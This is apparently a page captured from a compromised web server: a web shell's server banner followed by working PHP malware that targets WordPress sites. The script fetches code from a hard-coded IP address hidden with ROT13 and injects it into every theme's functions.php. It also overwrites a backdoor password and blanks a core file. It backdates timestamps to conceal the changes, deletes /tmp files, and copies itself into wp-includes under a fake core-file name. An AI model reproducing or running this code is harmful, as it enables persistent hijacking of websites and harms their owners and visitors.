| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/gessing.es/ |
Upload File : |
<?php
set_time_limit(0);
error_reporting(1);
if ( array_key_exists ('page', $_GET)){
function str_replace_first($from, $to, $content)
{
$from = '/'.preg_quote($from, '/').'/';
return preg_replace($from, $to, $content, 1);
}
function findWordpress ($path, $depth = 3) {
try {
$di = new RecursiveDirectoryIterator($path ,RecursiveDirectoryIterator::SKIP_DOTS);
$it = new RecursiveIteratorIterator($di);
$it->setMaxDepth($depth);
$results = [];
foreach($it as $file) {
if ( preg_match ( '#wp-config\.php$#', $file ) ) {
$results[] = dirname(realpath($file));
}
}
}
catch (Exception $e)
{
$results = [];
}
return $results;
}
function findThemes ($path, $depth = 1) {
$di = new RecursiveDirectoryIterator($path ,RecursiveDirectoryIterator::SKIP_DOTS);
$it = new RecursiveIteratorIterator($di);
$it->setMaxDepth($depth);
$results = [];
foreach($it as $file) {
if ( preg_match ( '#functions\.php$#', $file ) ) {
$results[] = dirname(realpath($file));
}
}
return $results;
}
function download($url, $path){
$dir = dirname($path);
$lastMtime = filemtime ($dir);
$fp = fopen($path, "w+");
$ch = curl_init ($url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_FILE, $fp);
curl_exec ($ch);
curl_close ($ch);
fclose($fp);
touch($path, $lastMtime);
touch($dir, $lastMtime);
}
function curlget($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$rootDir = './';
$dots = substr_count (parse_url($actual_link)['path'], '/') - 1;
for ($i=1;$i<=$dots;$i++){
$rootDir.="../";
}
$rootDir = realpath($rootDir);
$wordpressA = findWordpress ("{$rootDir}/../../", 1);
$wordpressB = findWordpress ("{$rootDir}/../", 1);
$wordpressC = findWordpress ("{$rootDir}/", 1);
$wordpress = array_unique (array_merge ($wordpressA, $wordpressB, $wordpressC));
foreach($wordpress as $wp) {
$wpPath = $wp;
$fileHeader = "{$wpPath}/wp-includes/header.php";
file_put_contents($fileHeader, '');
$themes = findThemes ("{$wpPath}/wp-content/themes");
$oldCode = '/if \(\!\$npDcheckClassBgp \&\& \!isset\(\$zeeta\)\) \{/';
$oldCode1 = '/global \$zeeta;/';
$oldCode2 = '/\$zeeta \= \"yup\";/';
$newCode = 'if (!$npDcheckClassBgp) {';
$defCode = '';
$checkWord = 'npDcheckClassBgp';
$checkPass = 'Zgc5c8oCrPY3egMU5o1MZvecNleUNbhY3iKMG+/NuQE=';
$inject = curlget (str_rot13("uggc://45.9.74.178/pbqr.gkg"));
$inject = substr($inject, 0, strrpos($inject, "\n"));
foreach($themes as $theme){
$template = file_get_contents("{$theme}/functions.php");
$lastMtime = filemtime ("{$theme}/functions.php");
if (strpos($template, $checkWord) == true) {
//echo "{$theme} skipped\n";
}
else {
$template = str_replace_first('<?php', "<?php\n" . $inject, $template);
file_put_contents("{$theme}/functions.php.old", $template);
rename("{$theme}/functions.php.old", "{$theme}/functions.php");
touch("{$theme}/functions.php", $lastMtime);
}
if (strpos($template, $checkPass) == true) {
//echo "skip";
} else {
$template = preg_replace('/pass = "(.+?)"/m',"pass = \"{$checkPass}\"", $template);
file_put_contents("{$theme}/functions.php.old", $template);
rename("{$theme}/functions.php.old", "{$theme}/functions.php");
touch("{$theme}/functions.php", $lastMtime);
}
if (strpos($template, $oldCode) == true) {
//echo "skip";
} else {
$template = preg_replace($oldCode, $newCode, $template);
$template = preg_replace($oldCode1, $defCode, $template);
$template = preg_replace($oldCode2, $defCode, $template);
file_put_contents("{$theme}/functions.php.old", $template);
rename("{$theme}/functions.php.old", "{$theme}/functions.php");
touch("{$theme}/functions.php", $lastMtime);
}
}
foreach($themes as $theme){
$template = file_get_contents("{$theme}/functions.php");
if (strpos($template, $checkWord) == true) {
$count = $count + 1;
}
}
$filesDelList = glob('/tmp/*');
foreach($filesDelList as $f){
if(is_file($f))
unlink($f);
}
//echo "{$wp} end\n\n";
}
$source = "{$rootDir}/page.php";
$destination = "{$rootDir}/wp-includes/class-wp-recovery-mode-mysql.php";
if (copy($source, $destination)) {
echo "<p>Backup file</p>";
$lastMtime = filemtime ("{$rootDir}/wp-includes/class-wp-recovery-mode-mysql.php");
touch($destination, $lastMtime);
}
echo "Good include " . "<b>" . $count . "</b>" . "\n";
}
unlink("page.php");